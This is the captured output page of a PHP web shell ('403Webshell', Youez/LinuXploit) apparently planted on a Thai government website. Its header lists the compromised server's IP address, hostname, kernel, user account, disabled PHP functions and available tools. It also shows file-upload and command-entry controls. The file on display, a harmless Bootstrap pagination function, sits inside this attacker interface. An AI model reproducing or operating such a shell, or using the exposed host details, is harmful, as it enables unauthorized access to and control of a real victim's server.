403Webshell
Server IP : 43.241.58.20  /  Your IP : 216.73.216.25
Web Server : Apache/2
System : Linux ns1-1556229.dragonhispeed.com 3.16.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : ratsitne ( 1130)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ratsitne/domains/tessabalpatiu.go.th/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ratsitne/domains/tessabalpatiu.go.th/public_html/pagination_function.php
<?php
function page_navi($total_item, $cur_page, $per_page=10, $query_str="", $min_page=5){

$total_page = ceil($total_item/$per_page);
$cur_page = (isset($cur_page))?$cur_page:1;
$diff_page = NULL;
if($cur_page>$min_page){
    $diff_page = $total_page-$cur_page;
}
$limit_page = $min_page;
$f_num_page = ($cur_page<=$min_page)?1:(floor($cur_page/$min_page)*$min_page)+1;
if($diff_page>$min_page){
    $limit_page = ($min_page + $f_num_page)-1;
}else{
    if(isset($diff_page)){
        $limit_page = $total_page;
    }else{
        $limit_page = $min_page;
    }
}
$show_page = ($total_page<=$min_page)?$total_page:$limit_page;
$l_num_page = 1;
$prev_page = $cur_page-1;
$next_page = $cur_page+1;
$temp_query_str = $query_str;
$query_str = "";
if($temp_query_str && is_array($temp_query_str) && count($temp_query_str)>0){
    array_pop($temp_query_str);
    $query_str = http_build_query($temp_query_str);
    if($query_str!=""){
        $query_str = "?".$query_str;
    }
}
$mark_char = ($query_str!="")?"&":"?";

  echo '<nav>
      <ul class="pagination justify-content-center">
        <li class="page-item">
        <a class="page-link" href="'.$query_str.$mark_char.'page=1"> First</a>
        </li>
        ';
    echo '
        <li class="page-item '.(($cur_page==1)?"disabled":"").'">
          <a class="page-link"  href="'.$query_str.$mark_char.'page='.$prev_page.'"> Previous</a>
        </li>
    ';
    for($i = $f_num_page; $i<=$show_page;$i++){
    echo '
        <li class="page-item '.(($i==$cur_page)?"active":"").'">
          <a class="page-link" href="'.$query_str.$mark_char.'page='.$i.'"> '.$i.' </a>
        </li>
    ';
    }
    echo '
        <li class="page-item '.(($next_page>$total_page)?"disabled":"").'">
            <a class="page-link"  href="'.$query_str.$mark_char.'page='.$next_page.'"> Next</a>
        </li>
    ';
    echo '
        <li class="page-item">
          <input type="number" class="form-control" min="1" max="'.$total_page.'"
                  style="width:80px;" onClick="this.select()" onchange="window.location=\''.$query_str.$mark_char.'page=\'+this.value"  value="'.$cur_page.'" />
        </li>
    ';
    echo '
        <li class="page-item">
            <a class="page-link"  href="'.$query_str.$mark_char.'page='.$total_page.'"> Last</a>
        </li>
      </ul>
    </nav>
    ';
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit